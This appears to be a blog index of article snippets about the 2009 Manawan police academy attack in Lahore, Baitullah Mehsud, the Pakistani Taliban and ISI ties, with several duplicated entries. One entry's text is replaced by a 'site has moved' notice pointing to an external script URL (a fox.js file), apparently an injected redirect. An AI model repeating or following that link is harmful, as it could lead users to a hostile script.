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Counter-terrorism through the civil service – by Mosharraf Zaidi: The attack on the Lahore police training facility yesterday, which as of the time of this article’s writing had not ended, should wake Pakistan up. There is an existential

Mehsud claims responsibility of Manawan attack: March 31, 2009 PESHAWAR: The chief of Pakistani Taliban, Baitullah Mehsud, on Tuesday took responsibility for an attack on a police academy in Lahore. “Yes, we have carried out this attack. I will give details later,” Mehsud, an al

Mehsud claims responsibility of Manawan attack: March 31, 2009 PESHAWAR: The chief of Pakistani Taliban, Baitullah Mehsud, on Tuesday took responsibility for an attack on a police academy in Lahore. “Yes, we have carried out this attack. I will give details later,” Mehsud, an al

Amir Mir: Punjabi and Pushtun militants behind Manawan attack: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected

Amir Mir: Punjabi and Pushtun militants behind Manawan attack: Monday 30 March 2009 LAHORE: The Pakistani authorities investigating the 30/3 bloody assault on the Police Training School in Manawan on the outskirts of Lahore believe the highly trained and equally equipped terrorist squad involved in the Monday attack

Lahore terror attack: The Jihadi chickens come home to roost?: A Pakistani police officer carries his injured colleague to an armored car in the compound of a police training school on the outskirts of Lahore. AP Photo/K.M. Chaudary. Almost 150 years ago, Mian Muhammad Bakhsh, a Sufi poet, wrote:

Terrorists strike at Lahore police training centre: LAHORE: More explosions were heard inside the police training academy in the Manawan area on the outskirts of Lahore where terrorists used machine guns and grenades to launch a savage attack, leaving at least 13 policemen dead and over

Terrorists strike at Lahore police training centre: LAHORE: More explosions were heard inside the police training academy in the Manawan area on the outskirts of Lahore where terrorists used machine guns and grenades to launch a savage attack,

The Zia-ist mindset, Pakistani media and the support of the right wing – by Irfan Husain: “My personal theory is that their lack of a grounding in politics, economics and current affairs is a direct result of the poor education they have received. Without wishing to be lofty or patronising, I can safely point to

Can Mehsud be captured now? Rahimullah Yusufzai: By Rahimullah Yusufzai Baitullah Mehsud, a larger-than-life figure from the tribal region of South Waziristan, continues to draw attention on the world stage. Recently, Time magazine named him in its annual list of the 100 most influential persons in

Pakistan must de-couple from the Taliban express: Shadowlands Saturday, March 28, 2009 The relationship between our security services and the various iterations of the Taliban over the last fifteen years has recently been described as ‘ambiguous’ by an American Senator – which understates the case by

Pakistan must de-couple from the Taliban express: Shadowlands Saturday, March 28, 2009 The relationship between our security services and the various iterations of the Taliban over the last fifteen years has recently been described as ‘ambiguous’ by an American Senator – which understates the case by

Muslims can’t commit suicide-bombings in mosques: Claim right-wing politicians !: Jamrud Mosque attack: read the message! A mosque housing nearly 300 people who were saying their Friday prayers was attacked by a suicide-bomber, killing 70 and crippling 125. The reaction of the political agent of Khyber was that “the

Muslims can’t commit suicide-bombings in mosques: Claim right-wing politicians !: Jamrud Mosque attack: read the message! A mosque housing nearly 300 people who were saying their Friday prayers was attacked by a suicide-bomber, killing 70 and crippling 125. The reaction of the political agent of Khyber was that “the

If Obama wants to defeat the Taliban and Al Qaeda, he will need to ‘handle’ the following resource persons of the ISI in Pakistan.: US warns Pakistan on Taleban link Pakistan’s Inter-Services Agency (ISI) has been widely accused of refusing to sever its links with Islamist groups that date back to the Cold War and the US-backed fight against Soviet forces in Afghanistan.